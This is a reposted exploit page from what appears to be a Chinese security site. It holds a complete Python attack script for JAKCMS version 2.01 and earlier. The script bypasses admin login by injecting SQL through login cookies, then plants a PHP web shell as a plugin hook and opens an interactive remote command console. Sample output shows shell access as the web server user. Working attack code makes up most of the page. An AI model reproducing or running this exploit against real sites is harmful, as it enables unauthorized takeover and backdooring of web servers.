首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
JAKCMS <= v2.01 Code Execution Exploit
来源:net-ninja.net 作者:mr_me 发布时间:2011-02-21  

#!/usr/bin/python
#
# JAKCMS <= v2.01 Code Execution Exploit
# Explanation:
#
# During the authentication process, a check is performed to ensure that the user accessing the page is not already logged in.
# This process is done by validating the cookies set in the browser as 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS'. If the cookies
# are found to be set, then an SQL statement is executed to help validate if the user is logged in. This functionaility contains
# a blind SQL Injection vulnerability, triggerable through both the 'JAK_COOKIE_NAME' and 'JAK_COOKIE_PASS' variables.
#
# If a valid query is provided and it returns a result set, then the user is granted access to the administrative console by setting
# the session variable 'JAKLoggedIn' to true. Below is a snippet of code from the 'class/class.userlogin.php' page on lines 65-76
# highlighting the vulnerable code.
#
# public static function jakChecklogged()
# {
#    global $jakdb;
#    if ((isset($_COOKIE['JAK_COOKIE_NAME']) && isset($_COOKIE['JAK_COOKIE_PASS'])) || isset($_SESSION['JAKLoggedIn'])) {
#       $sql = 'SELECT * FROM '.DB_PREFIX.'user WHERE ((username = "'.COOKIE_NAME.'" AND password = "'.COOKIE_PASS.'") OR (sessi$
#       $result = $jakdb->query($sql);
#       if ($jakdb->affected_rows > 0) {
#          $row = $result->fetch_assoc();
#          $_SESSION['JAKLoggedIn'] = true;
#
# Additionally, functionality in the backend, allows an administrative user to add a "php_hook" whereby adding php content to a
# page on the website. This allows an attacker essentially backdoor the website in a single request.
#
# [mr_me@pluto jak]$ python jakcmsCodeExecution.py -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/
#
# | ------------------------------------------- |
# | JAKcms <= v2.01 0day Code Execution Explo!t |
# | by mr_me - net-ninja.net ------------------ |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Targeting http://192.168.1.7/
# (!) Exploit working!
# (+) Entering interactive remote console (q for quit)
#
# mr_me@192.168.1.7# id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
#
# mr_me@192.168.1.7# uname -a
# Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux
#
# mr_me@192.168.1.7# q    

import sys
import urllib
import re
import urllib2
import getpass
import base64
from optparse import OptionParser

usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.7 -d /webapps/jak/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the CMS")

(options, args) = parser.parse_args()

def banner():
 print "\n\t| -------------------------------------- |"
 print "\t| JAKcms <= v2.01 Code Execution Explo!t |"
 print "\t| by mr_me - net-ninja.net ------------- |\n"

if len(sys.argv) < 5:
    banner()
    parser.print_help()
    sys.exit(1)

def testProxy():
 check = 1
 sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
 sys.stdout.flush()
 try:
         req = urllib2.Request("http://www.google.com/")
  req.set_proxy(options.proxy,"http")
  check = urllib2.urlopen(req)
     except:
         check = 0
         pass
     if check != 0:
         sys.stdout.write("proxy is found to be working!\n")
         sys.stdout.flush()
     else:
         print "proxy failed, exiting.."
         sys.exit(1)

def interactiveAttack():
        print "(+) Entering interactive remote console (q for quit)\n"
        hn = "%s@%s# " % (getpass.getuser(), options.target)
        preBaseCmd = ""
        while preBaseCmd != 'q':
                preBaseCmd = raw_input(hn)
                cmd64 = base64.b64encode(preBaseCmd)
                cmdResp = getServerResponse(options.target + options.dirPath + "index.php?p=sitemap&lol=" + cmd64, "", "")
  result = cmdResp.split("<!DOCTYPE html")[0]
  print result

def getServerResponse(exploit, header=None, data=None):
         try:
  if header != None:
   headers = {}
   headers['Cookie'] = header
  if data != None:
   data = urllib.urlencode(data)
  req = urllib2.Request("http://"+exploit, data, headers)
  if options.proxy:
   req.set_proxy(options.proxy,"http")
  check = urllib2.urlopen(req).read()   
 except urllib.error.HTTPError, error:
  check = error.read()
 except urllib.error.URLError:
  print "(-) Target connection failed, check your address"
  sys.exit(1)
 return check

def doEvilRequest():
 print "(+) Targeting http://%s/" % (options.target)
 phpShell = "system(base64_decode($_GET['lol']));"
 req = options.target + options.dirPath + "admin/index.php?p=plugins&sp=newhook"
 funnycookie = "JAK_COOKIE_PASS=test; JAK_COOKIE_NAME=admin\"))+and+1=1--+;"
 data = {'jak_name':'lol', 'jak_hook':'php_sitemap', 'jak_plugin':'0', 'jak_exorder':'1', 'jak_phpcode': phpShell}
 check = getServerResponse(req, funnycookie, data)

 if re.search("Successful", check):
  print "(!) Exploit working!"
  interactiveAttack()
 else:
  print "(-) Exploit failed, exiting.."
  sys.exit(1)

def main():
 banner()
 if options.proxy:
  testProxy()
 doEvilRequest()

if __name__ == "__main__":
 main()


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Avira AntVir QUA file in (avce
·JAKCMS <= v2.01 RC1 Blind SQL
·Novell Iprint LPD Remote Code
·Novell ZenWorks 10 & 11 TFTPD
·Mozilla Firefox Interleaving d
·BEES企业网站管理系统 v1.6后台
·IBM Lotus Domino LDAP Bind Req
·JAKCMS <= v2.01 RC1 Blind SQL
·WinMerge v2.12.4 Project File
·Solar FTP 2.1 Denial of Servic
·天天团购后台Getshell安全问题
·FtpDisc v1.0 for iPhone / iPod
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved